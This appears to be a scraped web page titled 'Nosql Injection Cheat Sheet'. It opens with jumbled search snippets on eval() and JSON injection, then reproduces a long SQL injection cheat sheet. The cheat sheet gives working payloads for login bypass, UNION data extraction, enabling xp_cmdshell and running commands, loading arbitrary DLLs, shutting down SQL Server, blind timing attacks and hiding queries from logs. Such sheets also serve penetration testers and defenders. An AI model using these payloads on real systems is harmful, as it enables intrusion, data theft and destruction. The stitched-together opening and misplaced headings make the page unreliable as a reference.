Nosql Injection Cheat Sheet

Posted : admin On 1/29/2022

Alternative to eval JavaScript

This episode shows how NoSQL applications could be easily hacked with the no.1 threat on the internet - injection attacks, from password guessing to authent. SQL Injection Prevention Cheat Sheet¶ Introduction¶ This article is focused on providing clear, simple, actionable guidance for preventing SQL Injection flaws in your applications. SQL Injection attacks are unfortunately very common, and this is due to two factors: the significant prevalence of SQL Injection vulnerabilities,. Code Injection is the general term for attack types which consist of injecting code that is then interpreted/executed by the application. This type of attack exploits poor handling of untrusted data. These types of attacks are usually made possible due to a lack of proper input/output data validation, for example.

Alternative to eval() javascript, Javascript is a very flexible language in this regard. There are very very few cases where eval() is the right answer to any given question, and it Javascript is a very flexible language in this regard. There are very very few cases where eval () is the right answer to any given question, and it certainly isn't necessary here. If your a and b variables are part of an object, you can access them with string subscripts: ie myobj.a could also be referenced as myobj ['a'].

JavaScript Eval: Everything Wrong With JavaScript `eval()`, Alternatives. The most simple alternative is to use windows.Function() . It creates a global scope function from the string. This way, you An alternative to eval () for inserting variables at runtime in Javascript. Published Mon, Aug 24, 2020 by Austin Repp. A problem I encountered while creating Discord Bot Studio, was allowing users to enter variables which could be evaluated at runtime. Discord Bot Studio is a visual programming tool, so I felt it was important to offer a familiar variable syntax.

eval(), Fortunately, there's a very good alternative to eval() : simply using window.​Function() . See this example of how to convert code using a Do you know what is the alternative of eval ()? document.addEventListener ('click', function (event) { if (event.target.nodeName 'BUTTON') { var value = event.target.innerHTML; if (value '=') { results.innerHTML = value [results.innerHTML]; }else { results.innerHTML += value; } } }, false); Thank You for your feedback.

JSON injection cheat sheet

CheatSheetSeries/AJAX_Security_Cheat_Sheet.md at master , The OWASP Cheat Sheet Series was created to provide a concise collection of When using data to build HTML, script, CSS, XML, JSON, etc. make sure you be properly encoded before used in this manner to prevent injection style issues,​ JSON Cheat Sheet by Mackan90096 - Cheatography.com Created Date: 20151116005315Z

What Are JSON Injections, Server-side JSON injection happens when data from an untrusted source is not sanitized by the server and written directly to a JSON stream. This cheatsheet provides tips to prevent common security issues when using JSON Web Tokens (JWT) with Java. The tips presented in this article are part of a Java project that was created to show the correct way to handle creation and validation of JSON Web Tokens. You can find the Java project here, it uses the official JWT library.

[PDF] Testing JSON Applications For Security Holes, Testing JSON Applications for Security. Holes. Securitybyte & OWASP If you don't know what JSON is go hear SID talk about Oracle SQL Injection via JSON​. JSON Cheat Sheet by Mackan90096. A JSON cheat sheet. Data Types. number. var myNum = 123.456; Series of numbers; decimals ok; double­-pr­ecision floati­ng-­point

JSON injection OWASP

What Are JSON Injections, Server-side JSON injection happens when data from an untrusted source option to sanitize JSON data is to use the OWASP JSON Sanitizer. OWASP is a nonprofit foundation that works to improve the security of software. OWASP Json Sanitizer For full functionality of this site it is necessary to enable JavaScript.

AJAX Security, OWASP Json Sanitizer on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software. When using data to build HTML, script, CSS, XML, JSON, etc. make sure you take into account how that data must be presented in a literal sense to keep its logical meaning. Data should be properly encoded before used in this manner to prevent injection style issues, and to make sure the logical meaning is preserved.

OWASP Json Sanitizer, In a more serious case, such as ones that involves JSON injection, an attacker may be able to In some cases, JSON injection can lead to cross-site scripting or dynamic code evaluation. [10] Standards Mapping - OWASP Top 10 2017. JSON Injection Prevention As with most injection vulnerabilities, the key to maintaining web application security and preventing JSON injections is to sanitize data. This applies to both server-side and client-side JSON injections. To prevent server-side JSON injections, sanitize all data before serializing it to JSON.

JSON injection payloads

The Security Blog: Attacking JSON Application , XXE ( XML External Entity Injection)​​ This is a most common attack found in JSON/Modern Web Applications. This application due to improper content type input of user input which allow an attacker to access/read web server local files and well as performing command execution. sqlmap automatically detects the json payload and tries to inject so instead of the above mentioned payload like:- SQLmap injection not working, manually it works

What Are JSON Injections, Examples of JSON Injection Attacks · The server stores user data as a JSON string including the account type · User and password are taken Example JSON row set: GET This example JSON row set is from a HTTP GET to the alerts.status table collection URI. Example JSON row set: PATCH This example updates the Location, LastOccurrence, Acknowledged, OwnerUID and OwnerGID columns of the matched rows in the alerts.status table.

Testing AJAX Applications with JSON Input for Vulnerabilities Using , Qualys WAS tests if the web application is vulnerable to SQL injection attack by appending the email parameter with SQL injection payload of a JSON: A text-based open standard that is designed for transmitting structured data. JSON is most commonly used for transferring data between web applications and web servers. JSON payload: The JSON-formatted body for a REST API's POST or PUT request.

JSON injection example

What Are JSON Injections, Examples of JSON Injection Attacks​​ The eval function executes the alert . Parsing results in a Cross-site Scripting (XSS) attack ( document. cookie is disclosed). Examples of JSON Injection Attacks. A simple server-side JSON injection could be performed in PHP as follows: The server stores user data as a JSON string including the account type; User and password are taken directly from user input without sanitization; The JSON string is formed using simple concatenation: $json_string = '{'account':'user','user':'.$_GET['user'].','pass':'.$_GET['pass'].'}'; A malicious user appends data to their user name: john%22,%22account%22:%22administrator%22

JavaScript, https://example.com/api/users/1234/profiledata.json. With a response like this: { '​name': 'Bob', 'description': 'Likes pie & security holes.' } Than that data is Use JSON.parse instead of eval to get JSON. In general, don't use eval, and definitely don't use eval with something a user could control. Eval creates a new execution context, creating a performance hit. Properly escape ' and in user data before putting it in JSON. If you just escape the ', than this will happen:

JSON Injection, In a more serious case, such as ones that involves JSON injection, an attacker Example 1: The following Java code uses Jackson to serialize user account In a more serious case, such as ones that involves JSON injection, an attacker may be able to insert extraneous elements that allow for the predictable manipulation of business critical values within a JSON document or request. In some cases, JSON injection can lead to cross-site scripting or dynamic code evaluation.

Server-side JSON injection

What Are JSON Injections, Server-side JSON injection happens when data from an untrusted source is not sanitized by the server and written directly to a JSON stream. A simple server-side JSON injection could be performed in PHP as follows: The server stores user data as a JSON string including the account type User and password are taken directly from user input without sanitization The JSON string is formed using simple concatenation: $json_string = '

DOM-based client-side JSON injection, What is DOM-based JSON injection? DOM-based JSON-injection vulnerabilities arise when a script incorporates attacker-controllable data into a string that is To prevent server-side js injection attacks: Validate user inputs on server side before processing; Do not use eval()function to parse user inputs. Avoid using other commands with similar effect, such as setTimeOut(), setInterval(), and Function(). For parsing JSON input, instead of using eval(), use a safer alternative such as JSON.parse().

Server Side JS Injection, JS Injection · 1.2. SQL and NoSQL Injection A1 - 1 Server Side JS Injection An attacker can inject arbitrary JavaScript code to be executed on the server. Server-side JSON injection happens when data from an untrusted source is not sanitized by the server and written directly to a JSON stream. Client-side JSON injection happens when data from an untrusted JSON source is not sanitized and parsed directly using the JavaScript eval function. What Is JSON. JSON (JavaScript Object Notation) is a lightweight data interchange format used to communicate between applications.

Client-side JSON injection HackerOne

532667 Server Side JavaScript Code Injection, Description. fastify is using fast-json-stingify to serialize data in the response. This library is vulnerable to Server Side Code Injection Client-Side injection attacks can be classified as JavaScript injection or XSS, HTML injection, and in many cases, even CSRF attacks. These attacks differ from server-side injections in that they target a website’s user base instead of actual endpoints or assets.

271960 Client-side Template Injection in Search, user , 3A%2F%2Fblog.portswigger.net%2F2016%2F01%2Fxss-without-html-client-​side-template.html) on our Support site in order to retrieve data, DOM-based JSON-injection vulnerabilities arise when a script incorporates attacker-controllable data into a string that is parsed as a JSON data structure and then processed by the application. An attacker may be able to use this behavior to construct a URL that, if visited by another user, will cause arbitrary JSON data to be processed.

DOM-based client-side JSON injection, In this section, we'll describe client-side JSON injection as related to the DOM, look at how damaging such an attack could be, and suggest ways to reduce JSON Injection Prevention As with most injection vulnerabilities, the key to maintaining web application security and preventing JSON injections is to sanitize data. This applies to both server-side and client-side JSON injections. To prevent server-side JSON injections, sanitize all data before serializing it to JSON.

JSON injection in REST API

What Are JSON Injections, JSON is commonly used in RESTful APIs and AJAX applications. Examples of JSON Injection Attacks. A simple server-side JSON injection could How can you handle JSON Injection security aspects in terms of RESTful Application? Security is really a complex subject, even involving JSON. But I'm sure that you can take some basic actions to prevent the most obvious problems. Some basic actions: Make your system handle all kind of exceptions. Always show a nice message for the user without any sensitive detail about your system.

JSON injection in RESTful, What is JSON Injection? It's an attack that utilize some vulnerability about how the server read the JSON informations. Is JSON Injection is client-side or How the WP-JSON Content Injection Worked. This vulnerability allowed for privilege escalation through the WordPress REST API added in version 4.7.0. One of the REST endpoints within the API allowed for viewing, editing, deleting, and creating posts. But a bug allowed visitors to edit any post on the site.

How to Test a REST API, REST API is a collection of URLs, in which HTTP calls to URI and in response, it serves The “per_page” parameter is vulnerable to Blind SQL injection. AppSpider has ability to test identify JSON, XML, gwt or AMFs parameter and its value. I have a json object which I have created as per snapshot , now I want to post this Rest API (HTTP Request) In other words I want to post my json . Is there any other alternative way to do it? How can I do it HTTP Request activity.

More Articles

What is an SQL Injection Cheat Sheet?

An SQL injection cheat sheet is a resource in which you can find detailed technical information about the many different variants of the SQL Injection vulnerability. This cheat sheet is of good reference to both seasoned penetration tester and also those who are just getting started in web application security.

About the SQL Injection Cheat Sheet

This SQL injection cheat sheet was originally published in 2007 by Ferruh Mavituna on his blog. We have updated it and moved it over from our CEO's blog. Currently this SQL Cheat Sheet only contains information for MySQL, Microsoft SQL Server, and some limited information for ORACLE and PostgreSQL SQL servers. Some of the samples in this sheet might not work in every situation because real live environments may vary depending on the usage of parenthesis, different code bases and unexpected, strange and complex SQL sentences.
Samples are provided to allow you to get basic idea of a potential attack and almost every section includes a brief information about itself.

M :MySQL
S :SQL Server
P :PostgreSQL
O :Oracle
+ :Possibly all other databases
Examples;
  • (MS) means : MySQL and SQL Server etc.
  • (M*S) means : Only in some versions of MySQL or special conditions see related note and SQL Server

Table Of Contents

  1. Syntax Reference, Sample Attacks and Dirty SQL Injection Tricks
    1. Line Comments
    2. Inline Comments
    3. Stacking Queries
    4. If Statements
    5. String Operations
    6. Strings without Quotes
    7. Union Injections

Syntax Reference, Sample Attacks and Dirty SQL Injection Tricks

Ending / Commenting Out / Line Comments

Line Comments

Comments out rest of the query.
Line comments are generally useful for ignoring rest of the query so you don't have to deal with fixing the syntax.

  • -- (SM)
    DROP sampletable;--
  • # (M)
    DROP sampletable;#
Line Comments Sample SQL Injection Attacks
  • Username: admin'--
  • SELECT * FROM members WHERE username = 'admin'--' AND password = 'password'
    This is going to log you as admin user, because rest of the SQL query will be ignored.

Inline Comments

Comments out rest of the query by not closing them or you can use for bypassing blacklisting, removing spaces, obfuscating and determining database versions.

  • /*Comment Here*/ (SM)
    • DROP/*comment*/sampletable
    • DR/**/OP/*bypass blacklisting*/sampletable
    • SELECT/*avoid-spaces*/password/**/FROM/**/Members
  • /*! MYSQL Special SQL */ (M)
    This is a special comment syntax for MySQL. It's perfect for detecting MySQL version. If you put a code into this comments it's going to execute in MySQL only. Also you can use this to execute some code only if the server is higher than supplied version.
    SELECT /*!32302 1/0, */ 1 FROM tablename
Classical Inline Comment SQL Injection Attack Samples
  • ID: 10; DROP TABLE members /*
    Simply get rid of other stuff at the end the of query. Same as 10; DROP TABLE members --
  • SELECT /*!32302 1/0, */ 1 FROM tablename
    Will throw an divison by 0 error if MySQL version is higher than3.23.02
MySQL Version Detection Sample Attacks
  • ID: /*!32302 10*/
  • ID: 10
    You will get the same response if MySQL version is higher than 3.23.02
  • SELECT /*!32302 1/0, */ 1 FROM tablename
    Will throw a division by 0 error if MySQL version is higher than3.23.02

Stacking Queries

Executing more than one query in one transaction. This is very useful in every injection point, especially in SQL Server back ended applications.

  • ; (S)
    SELECT * FROM members; DROP members--
Cheat

Ends a query and starts a new one.

Language / Database Stacked Query Support Table

green: supported, dark gray: not supported, light gray: unknown

About MySQL and PHP;
To clarify some issues;
PHP - MySQL doesn't support stacked queries, Java doesn't support stacked queries (I'm sure for ORACLE, not quite sure about other databases). Normally MySQL supports stacked queries but because of database layer in most of the configurations it's not possible to execute a second query in PHP-MySQL applications or maybe MySQL client supports this, not quite sure. Can someone clarify?

Stacked SQL Injection Attack Samples
  • ID: 10;DROP members --
  • SELECT * FROM products WHERE id = 10; DROP members--

This will run DROP members SQL sentence after normal SQL Query.

If Statements

Get response based on an if statement. This is one of the key points of Blind SQL Injection, also can be very useful to test simple stuff blindly and accurately.

MySQL If Statement

  • IF(condition,true-part,false-part) (M)
    SELECT IF(1=1,'true','false')

SQL Server If Statement

  • IF conditiontrue-part ELSE false-part (S)
    IF (1=1) SELECT 'true' ELSE SELECT 'false'

Oracle If Statement

  • BEGIN
    IF condition THEN true-part; ELSE false-part; END IF; END;
    (O)
    IF (1=1) THEN dbms_lock.sleep(3); ELSE dbms_lock.sleep(0); END IF; END;

PostgreSQL If Statement

  • SELECT CASE WHEN condition THEN true-part ELSE false-part END; (P)
    SELECT CASE WEHEN (1=1) THEN 'A' ELSE 'B'END;
If Statement SQL Injection Attack Samples

if ((select user) = 'sa' OR (select user) = 'dbo') select 1 else select 1/0 (S)
This will throw an divide by zero error if current logged user is not 'sa' or 'dbo'.

Using Integers

Very useful for bypassing, magic_quotes() and similar filters, or even WAFs.

  • 0xHEXNUMBER (SM)
    You can write hex like these;
    SELECT CHAR(0x66) (S)
    SELECT 0x5045 (this is not an integer it will be a string from Hex) (M)
    SELECT 0x50 + 0x45 (this is integer now!) (M)

String Operations

String related operations. These can be quite useful to build up injections which are not using any quotes, bypass any other black listing or determine back end database.

String Concatenation

  • + (S)
    SELECT login + '-' + password FROM members
  • (*MO)
    SELECT login '-' password FROM members

*About MySQL ' ';
If MySQL is running in ANSI mode it's going to work but otherwise MySQL accept it as `logical operator` it'll return 0. A better way to do it is using CONCAT()function in MySQL.

  • CONCAT(str1, str2, str3, ...) (M)
    Concatenate supplied strings.
    SELECT CONCAT(login, password) FROM members

Strings without Quotes

These are some direct ways to using strings but it's always possible to use CHAR()(MS) and CONCAT()(M) to generate string without quotes.

  • 0x457578 (M) - Hex Representation of string
    SELECT 0x457578
    This will be selected as string in MySQL.
    In MySQL easy way to generate hex representations of strings use this;
    SELECT CONCAT('0x',HEX('c:boot.ini'))
  • Using CONCAT() in MySQL
    SELECT CONCAT(CHAR(75),CHAR(76),CHAR(77)) (M)
    This will return 'KLM'.
  • SELECT CHAR(75)+CHAR(76)+CHAR(77) (S)
    This will return 'KLM'.
  • SELECT CHR(75) CHR(76) CHR(77) (O)
    This will return 'KLM'.
  • SELECT (CHaR(75) CHaR(76) CHaR(77)) (P)
    This will return 'KLM'.

Hex based SQL Injection Samples

  • SELECT LOAD_FILE(0x633A5C626F6F742E696E69) (M)
    This will show the content of c:boot.ini

String Modification & Related

  • ASCII() (SMP)
    Returns ASCII character value of leftmost character. A must have function for Blind SQL Injections.
    SELECT ASCII('a')
  • CHAR() (SM)
    Convert an integer of ASCII.
    SELECT CHAR(64)

Union Injections

With union you do SQL queries cross-table. Basically you can poison query to return records from another table.

SELECT header, txt FROM news UNION ALL SELECT name, pass FROM members
This will combine results from both news table and members table and return all of them.

Another Example:
' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--

UNION – Fixing Language Issues

While exploiting Union injections sometimes you get errors because of different language settings (table settings, field settings, combined table / db settings etc.) these functions are quite useful to fix this problem. It's rare but if you dealing with Japanese, Russian, Turkish etc. applications then you will see it.

  • SQL Server (S)
    Use fieldCOLLATE SQL_Latin1_General_Cp1254_CS_AS or some other valid one - check out SQL Server documentation.
    SELECT header FROM news UNION ALL SELECT name COLLATE SQL_Latin1_General_Cp1254_CS_AS FROM members
  • MySQL (M)
    Hex() for every possible issue

Bypassing Login Screens (SMO+)

SQL Injection 101, Login tricks

  • admin' --
  • admin' #
  • admin'/*
  • ' or 1=1--
  • ' or 1=1#
  • ' or 1=1/*
  • ') or '1'='1--
  • ') or ('1'='1--
  • ....
  • Login as different user (SM*)
    ' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--

*Old versions of MySQL doesn't support union queries

Bypassing second MD5 hash check login screens

If application is first getting the record by username and then compare returned MD5 with supplied password's MD5 then you need to some extra tricks to fool application to bypass authentication. You can union results with a known password and MD5 hash of supplied password. In this case application will compare your password and your supplied MD5 hash instead of MD5 from database.

Bypassing MD5 Hash Check Example (MSP)

Username :admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
Password : 1234

81dc9bdb52d04dc20036dbd8313ed055 = MD5(1234)

Error Based - Find Columns Names

Finding Column Names with HAVING BY - Error Based (S)

In the same order,

  • ' HAVING 1=1 --
  • ' GROUP BY table.columnfromerror1 HAVING 1=1 --
  • ' GROUP BY table.columnfromerror1, columnfromerror2 HAVING 1=1 --
  • ' GROUP BY table.columnfromerror1, columnfromerror2, columnfromerror(n) HAVING 1=1 --and so on
  • If you are not getting any more error then it's done.

Finding how many columns in SELECT query by ORDER BY(MSO+)

Finding column number by ORDER BY can speed up the UNION SQL Injection process.

  • ORDER BY 1--
  • ORDER BY 2--
  • ORDER BY N--so on
  • Keep going until get an error. Error means you found the number of selected columns.

Data types, UNION, etc.

Hints,

  • Always use UNION with ALL because of image similar non-distinct field types. By default union tries to get records with distinct.
  • To get rid of unrequired records from left table use -1 or any not exist record search in the beginning of query (if injection is in WHERE). This can be critical if you are only getting one result at a time.
  • Use NULL in UNION injections for most data type instead of trying to guess string, date, integer etc.
    • Be careful in Blind situtaions may you can understand error is coming from DB or application itself. Because languages like ASP.NET generally throws errors while trying to use NULL values (because normally developers are not expecting to see NULL in a username field)

Finding Column Type

  • ' union select sum(columntofind) from users-- (S)
    Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
    [Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument.

    If you are not getting an error it means column is numeric.
  • Also you can use CAST() or CONVERT()
    • SELECT * FROM Table1 WHERE id = -1 UNION ALL SELECT null, null, NULL, NULL, convert(image,1), null, null,NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULl, NULL--
  • 11223344) UNION SELECT NULL,NULL,NULL,NULL WHERE 1=2 –-
    No Error - Syntax is right. MS SQL Server Used. Proceeding.
  • 11223344) UNION SELECT 1,NULL,NULL,NULL WHERE 1=2 –-
    No Error – First column is an integer.
  • 11223344) UNION SELECT 1,2,NULL,NULL WHERE 1=2 --
    Error! – Second column is not an integer.
  • 11223344) UNION SELECT 1,'2',NULL,NULL WHERE 1=2 –-
    No Error – Second column is a string.
  • 11223344) UNION SELECT 1,'2',3,NULL WHERE 1=2 –-
    Error! – Third column is not an integer. ...
    Microsoft OLE DB Provider for SQL Server error '80040e07'
    Explicit conversion from data type int to image is not allowed.

You'll get convert() errors before union target errors ! So start with convert() then union

Simple Insert (MSO+)

'; insert into users values( 1, 'hax0r', 'coolpass', 9 )/*

Useful Function / Information Gathering / Stored Procedures / Bulk SQL Injection Notes

@@version (MS)
Version of database and more details for SQL Server. It's a constant. You can just select it like any other column, you don't need to supply table name. Also, you can use insert, update statements or in functions.

INSERT INTO members(id, user, pass) VALUES(1, '+SUBSTRING(@@version,1,10) ,10)

Bulk Insert (S)

Insert a file content to a table. If you don't know internal path of web application you can read IIS (IIS 6 only) metabase file(%systemroot%system32inetsrvMetaBase.xml) and then search in it to identify application path.

  1. Create table foo( line varchar(8000) )
  2. bulk insert foo from 'c:inetpubwwwrootlogin.asp'
  3. Drop temp table, and repeat for another file.

BCP (S)

Write text file. Login Credentials are required to use this function.
bcp 'SELECT * FROM test..foo' queryout c:inetpubwwwrootruncommand.asp -c -Slocalhost -Usa -Pfoobar

VBS, WSH in SQL Server (S)

You can use VBS, WSH scripting in SQL Server because of ActiveX support.

declare @o int
exec sp_oacreate 'wscript.shell', @o out
exec sp_oamethod @o, 'run', NULL, 'notepad.exe'
Username: '; declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL, 'notepad.exe' --

Executing system commands, xp_cmdshell (S)

Well known trick, By default it's disabled in SQL Server 2005. You need to have admin access.

EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:'

Simple ping check (configure your firewall or sniffer to identify request before launch it),

EXEC master.dbo.xp_cmdshell 'ping '

You can not read results directly from error or union or something else.

Some Special Tables in SQL Server (S)

  • Error Messages
    master..sysmessages
  • Linked Servers
    master..sysservers
  • Password (2000 and 20005 both can be crackable, they use very similar hashing algorithm )
    SQL Server 2000: masters..sysxlogins
    SQL Server 2005 : sys.sql_logins

More Stored Procedures for SQL Server (S)

Nosql Injection Cheat Sheet
  1. Cmd Execute (xp_cmdshell)
    exec master..xp_cmdshell 'dir'
  2. Registry Stuff (xp_regread)
    1. xp_regaddmultistring
    2. xp_regdeletekey
    3. xp_regdeletevalue
    4. xp_regenumkeys
    5. xp_regenumvalues
    6. xp_regread
    7. xp_regremovemultistring
    8. xp_regwrite
      exec xp_regread HKEY_LOCAL_MACHINE, 'SYSTEMCurrentControlSetServiceslanmanserverparameters', 'nullsessionshares'
      exec xp_regenumvalues HKEY_LOCAL_MACHINE, 'SYSTEMCurrentControlSetServicessnmpparametersvalidcommunities'
  3. Managing Services (xp_servicecontrol)
  4. Medias (xp_availablemedia)
  5. ODBC Resources (xp_enumdsn)
  6. Login mode (xp_loginconfig)
  7. Creating Cab Files (xp_makecab)
  8. Domain Enumeration (xp_ntsec_enumdomains)
  9. Process Killing (need PID) (xp_terminate_process)
  10. Add new procedure (virtually you can execute whatever you want)
    sp_addextendedproc 'xp_webserver', 'c:tempx.dll'
    exec xp_webserver
  11. Write text file to a UNC or an internal path (sp_makewebtask)

MSSQL Bulk Notes

SELECT * FROM master..sysprocesses /*WHERE [email protected]@SPID*/

DECLARE @result int; EXEC @result = xp_cmdshell 'dir *.exe';IF (@result = 0) SELECT 0 ELSE SELECT 1/0

HOST_NAME()
IS_MEMBER (Transact-SQL)
IS_SRVROLEMEMBER (Transact-SQL)
OPENDATASOURCE (Transact-SQL)

OPENROWSET (Transact-SQL) - http://msdn2.microsoft.com/en-us/library/ms190312.aspx

You can not use sub selects in SQL Server Insert queries.

SQL Injection in LIMIT (M) or ORDER (MSO)

SELECT id, product FROM test.test t LIMIT 0,0 UNION ALL SELECT 1,'x'/*,10 ;

If injection is in second limit you can comment it out or use in your union injection

Shutdown SQL Server (S)

When you're really pissed off, ';shutdown --

Enabling xp_cmdshell in SQL Server 2005

By default xp_cmdshell and couple of other potentially dangerous stored procedures are disabled in SQL Server 2005. If you have admin access then you can enable these.

EXEC sp_configure 'show advanced options',1
RECONFIGURE

EXEC sp_configure 'xp_cmdshell',1
RECONFIGURE

Finding Database Structure in SQL Server (S)

Getting User defined Tables

SELECT name FROM sysobjects WHERE xtype = 'U'

Getting Column Names

SELECT name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = 'tablenameforcolumnnames')

Moving records (S)

  • Modify WHERE and use NOT IN or NOT EXIST,
    ... WHERE users NOT IN ('First User', 'Second User')
    SELECT TOP 1 name FROM members WHERE NOT EXIST(SELECT TOP 0 name FROM members)-- very good one
  • Using Dirty Tricks
    SELECT * FROM Product WHERE ID=2 AND 1=CAST((Select p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE i.id<=o.id) AS x, name from sysobjects o) as p where p.x=3) as int

    Select p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE xtype='U' and i.id<=o.id) AS x, name from sysobjects o WHERE o.xtype = 'U') as p where p.x=21

Fast way to extract data from Error Based SQL Injections in SQL Server (S)

';BEGIN DECLARE @rt varchar(8000) SET @rd=':' SELECT @[email protected]+' '+name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = 'MEMBERS') AND name>@rd SELECT @rd AS rd into TMP_SYS_TMP end;--

Detailed Article: Fast way to extract data from Error Based SQL Injections

Finding Database Structure in MySQL (M)

Getting User defined Tables

SELECT table_name FROM information_schema.tables WHERE table_schema = 'databasename'

Getting Column Names

SELECT table_name, column_name FROM information_schema.columns WHERE table_name = 'tablename'

Finding Database Structure in Oracle (O)

Getting User defined Tables

SELECT * FROM all_tables WHERE OWNER = 'DATABASE_NAME'

Getting Column Names

SELECT * FROM all_col_comments WHERE TABLE_NAME = 'TABLE'

Blind SQL Injections

About Blind SQL Injections

In a quite good production application generally you can not see error responses on the page, so you can not extract data through Union attacks or error based attacks. You have to do use Blind SQL Injections attacks to extract data. There are two kind of Blind Sql Injections.

Normal Blind, You can not see a response in the page, but you can still determine result of a query from response or HTTP status code
Totally Blind, You can not see any difference in the output in any kind. This can be an injection a logging function or similar. Not so common, though.

In normal blinds you can use if statements or abuse WHERE query in injection (generally easier), in totally blinds you need to use some waiting functions and analyze response times. For this you can use WAITFOR DELAY '0:0:10' in SQL Server, BENCHMARK() and sleep(10) in MySQL, pg_sleep(10) in PostgreSQL, and some PL/SQL tricks in ORACLE.

Real and a bit Complex Blind SQL Injection Attack Sample

This output taken from a real private Blind SQL Injection tool while exploiting SQL Server back ended application and enumerating table names. This requests done for first char of the first table name. SQL queries a bit more complex then requirement because of automation reasons. In we are trying to determine an ascii value of a char via binary search algorithm.

TRUE and FALSE flags mark queries returned true or false.

TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>78--
FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>103--
TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)
FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>89--
TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)
FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>83--
TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)
FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>80--
FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)

Since both of the last 2 queries failed we clearly know table name's first char's ascii value is 80 which means first char is `P`. This is the way to exploit Blind SQL injections by binary search algorithm. Other well-known way is reading data bit by bit. Both can be effective in different conditions.

Making Databases Wait / Sleep For Blind SQL Injection Attacks

First of all use this if it's really blind, otherwise just use 1/0 style errors to identify difference. Second, be careful while using times more than 20-30 seconds. database API connection or script can be timeout.

WAITFOR DELAY 'time' (S)

This is just like sleep, wait for specified time. CPU safe way to make database wait.

WAITFOR DELAY '0:0:10'--

Also, you can use fractions like this,

WAITFOR DELAY '0:0:0.51'

Real World Samples

  • Are we 'sa' ?
    if (select user) = 'sa' waitfor delay '0:0:10'
  • ProductID = 1;waitfor delay '0:0:10'--
  • ProductID =1);waitfor delay '0:0:10'--
  • ProductID =1';waitfor delay '0:0:10'--
  • ProductID =1');waitfor delay '0:0:10'--
  • ProductID =1));waitfor delay '0:0:10'--
  • ProductID =1'));waitfor delay '0:0:10'--

BENCHMARK() (M)

Nosql Injection Attack

What is nosql

Basically, we are abusing this command to make MySQL wait a bit. Be careful you will consume web servers limit so fast!

BENCHMARK(howmanytimes, do this)

Real World Samples

  • Are we root ? woot!
    IF EXISTS (SELECT * FROM users WHERE username = 'root') BENCHMARK(1000000000,MD5(1))
  • Check Table exist in MySQL
    IF (SELECT * FROM login) BENCHMARK(1000000,MD5(1))

pg_sleep(seconds) (P)

Sleep for supplied seconds.

  • SELECT pg_sleep(10);
    Sleep 10 seconds.

sleep(seconds) (M)

Sleep for supplied seconds.

  • SELECT sleep(10);
    Sleep 10 seconds.

dbms_pipe.receive_message (O)

Sleep for supplied seconds.

  • (SELECT CASE WHEN (NVL(ASCII(SUBSTR(({INJECTION}),1,1)),0) = 100) THEN dbms_pipe.receive_message(('xyz'),10) ELSE dbms_pipe.receive_message(('xyz'),1) END FROM dual)

    {INJECTION} = You want to run the query.

    If the condition is true, will response after 10 seconds. If is false, will be delayed for one second.

Covering Your Tracks

SQL Server -sp_password log bypass (S)

SQL Server don't log queries that includes sp_password for security reasons(!). So if you add --sp_password to your queries it will not be in SQL Server logs (of course still will be in web server logs, try to use POST if it's possible)

Clear SQL Injection Tests

These tests are simply good for blind sql injection and silent attacks.

  1. product.asp?id=4 (SMO)
    1. product.asp?id=5-1
    2. product.asp?id=4 OR 1=1
  2. product.asp?name=Book
    1. product.asp?name=Bo'%2b'ok
    2. product.asp?name=Bo' 'ok (OM)
    3. product.asp?name=Book' OR 'x'='x

